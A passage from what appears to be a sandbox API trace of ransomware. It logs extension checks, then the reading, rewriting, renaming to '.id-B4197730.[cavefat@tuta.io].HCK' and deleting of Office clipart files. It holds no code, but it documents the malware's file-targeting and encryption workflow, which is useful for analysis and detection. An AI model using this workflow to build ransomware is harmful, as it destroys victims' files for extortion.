office\\root\\clipart\\pub60cor\\na02264_.wmf")) returned 1 [0178.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.844] lstrlenW (lpString=".doc") returned 4 [0178.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.844] lstrlenW (lpString=".docx") returned 5 [0178.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.844] lstrlenW (lpString=".pdf") returned 4 [0178.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.844] lstrlenW (lpString=".xls") returned 4 [0178.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.844] lstrlenW (lpString=".xlsx") returned 5 [0178.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.844] lstrlenW (lpString=".ppt") returned 4 [0178.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.844] lstrlenW (lpString=".zip") returned 4 [0178.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.845] lstrlenW (lpString=".rar") returned 4 [0178.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString=".bz2") returned 4 [0178.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString=".7z") returned 3 [0178.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.845] lstrlenW (lpString=".dbf") returned 4 [0178.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.845] lstrlenW (lpString=".1cd") returned 4 [0178.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.845] lstrlenW (lpString=".jpg") returned 4 [0178.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.845] lstrlenW (lpString=".doc") returned 4 [0178.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString=".docx") returned 5 [0178.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.845] lstrlenW (lpString=".pdf") returned 4 [0178.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString=".xls") returned 4 [0178.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.845] lstrlenW (lpString=".xlsx") returned 5 [0178.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.845] lstrlenW (lpString=".ppt") returned 4 [0178.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.845] lstrlenW (lpString=".zip") returned 4 [0178.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.845] lstrlenW (lpString=".rar") returned 4 [0178.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString=".bz2") returned 4 [0178.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString=".7z") returned 3 [0178.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.845] lstrlenW (lpString=".dbf") returned 4 [0178.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.846] lstrlenW (lpString=".1cd") returned 4 [0178.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 68 [0178.846] lstrlenW (lpString=".jpg") returned 4 [0178.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.846] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.846] lstrlenW (lpString="NA02373_.WMF") returned 12 [0178.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.851] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3308) returned 1 [0178.851] CloseHandle (hObject=0x2fc) returned 1 [0178.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf")) returned 0x220 [0178.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.860] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.860] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.863] GetLastError () returned 0x0 [0178.863] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xcec, lpOverlapped=0x0) returned 1 [0178.864] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0178.865] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.865] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.865] SetEndOfFile (hFile=0x2fc) returned 1 [0178.867] CloseHandle (hObject=0x2fc) returned 1 [0178.867] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.868] SetEndOfFile (hFile=0x300) returned 1 [0178.868] CloseHandle (hObject=0x300) returned 1 [0178.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf")) returned 1 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.871] lstrlenW (lpString=".doc") returned 4 [0178.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString=".docx") returned 5 [0178.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.871] lstrlenW (lpString=".pdf") returned 4 [0178.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString=".xls") returned 4 [0178.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.871] lstrlenW (lpString=".xlsx") returned 5 [0178.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.871] lstrlenW (lpString=".ppt") returned 4 [0178.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.871] lstrlenW (lpString=".zip") returned 4 [0178.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.871] lstrlenW (lpString=".rar") returned 4 [0178.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString=".bz2") returned 4 [0178.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString=".7z") returned 3 [0178.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.871] lstrlenW (lpString=".dbf") returned 4 [0178.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.871] lstrlenW (lpString=".1cd") returned 4 [0178.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.871] lstrlenW (lpString=".jpg") returned 4 [0178.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.872] lstrlenW (lpString=".doc") returned 4 [0178.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.872] lstrlenW (lpString=".docx") returned 5 [0178.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.872] lstrlenW (lpString=".pdf") returned 4 [0178.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.872] lstrlenW (lpString=".xls") returned 4 [0178.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.872] lstrlenW (lpString=".xlsx") returned 5 [0178.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.872] lstrlenW (lpString=".ppt") returned 4 [0178.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.872] lstrlenW (lpString=".zip") returned 4 [0178.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.872] lstrlenW (lpString=".rar") returned 4 [0178.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.872] lstrlenW (lpString=".bz2") returned 4 [0178.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.872] lstrlenW (lpString=".7z") returned 3 [0178.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.872] lstrlenW (lpString=".dbf") returned 4 [0178.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.872] lstrlenW (lpString=".1cd") returned 4 [0178.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 68 [0178.872] lstrlenW (lpString=".jpg") returned 4 [0178.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.872] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.872] lstrlenW (lpString="NA02389_.WMF") returned 12 [0178.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.874] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2860) returned 1 [0178.874] CloseHandle (hObject=0x300) returned 1 [0178.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf")) returned 0x220 [0178.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.883] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.883] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.885] GetLastError () returned 0x0 [0178.885] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0178.886] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb30, lpOverlapped=0x0) returned 1 [0178.887] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.887] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.887] SetEndOfFile (hFile=0x300) returned 1 [0178.888] CloseHandle (hObject=0x300) returned 1 [0178.890] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.890] SetEndOfFile (hFile=0x368) returned 1 [0178.891] CloseHandle (hObject=0x368) returned 1 [0178.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf")) returned 1 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString=".doc") returned 4 [0178.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString=".docx") returned 5 [0178.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.893] lstrlenW (lpString=".pdf") returned 4 [0178.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString=".xls") returned 4 [0178.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.893] lstrlenW (lpString=".xlsx") returned 5 [0178.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.893] lstrlenW (lpString=".ppt") returned 4 [0178.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString=".zip") returned 4 [0178.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.893] lstrlenW (lpString=".rar") returned 4 [0178.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString=".bz2") returned 4 [0178.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString=".7z") returned 3 [0178.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString=".dbf") returned 4 [0178.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString=".1cd") returned 4 [0178.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString=".jpg") returned 4 [0178.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString=".doc") returned 4 [0178.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString=".docx") returned 5 [0178.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.893] lstrlenW (lpString=".pdf") returned 4 [0178.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString=".xls") returned 4 [0178.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.893] lstrlenW (lpString=".xlsx") returned 5 [0178.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.893] lstrlenW (lpString=".ppt") returned 4 [0178.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.893] lstrlenW (lpString=".zip") returned 4 [0178.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.893] lstrlenW (lpString=".rar") returned 4 [0178.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.893] lstrlenW (lpString=".bz2") returned 4 [0178.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.894] lstrlenW (lpString=".7z") returned 3 [0178.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.894] lstrlenW (lpString=".dbf") returned 4 [0178.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.894] lstrlenW (lpString=".1cd") returned 4 [0178.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 68 [0178.894] lstrlenW (lpString=".jpg") returned 4 [0178.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.894] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.894] lstrlenW (lpString="NA02404_.WMF") returned 12 [0178.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.898] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8480) returned 1 [0178.898] CloseHandle (hObject=0x3a4) returned 1 [0178.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf")) returned 0x220 [0178.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.904] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.904] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.910] GetLastError () returned 0x0 [0178.910] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2120, lpOverlapped=0x0) returned 1 [0178.912] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2130, lpOverlapped=0x0) returned 1 [0178.913] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.913] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.913] SetEndOfFile (hFile=0x3a4) returned 1 [0178.914] CloseHandle (hObject=0x3a4) returned 1 [0178.916] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.916] SetEndOfFile (hFile=0x368) returned 1 [0178.917] CloseHandle (hObject=0x368) returned 1 [0178.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf")) returned 1 [0178.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 68 [0178.918] lstrlenW (lpString=".doc") returned 4 [0178.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.918] lstrlenW (lpString=".docx") returned 5 [0178.918] lstrcmpiW 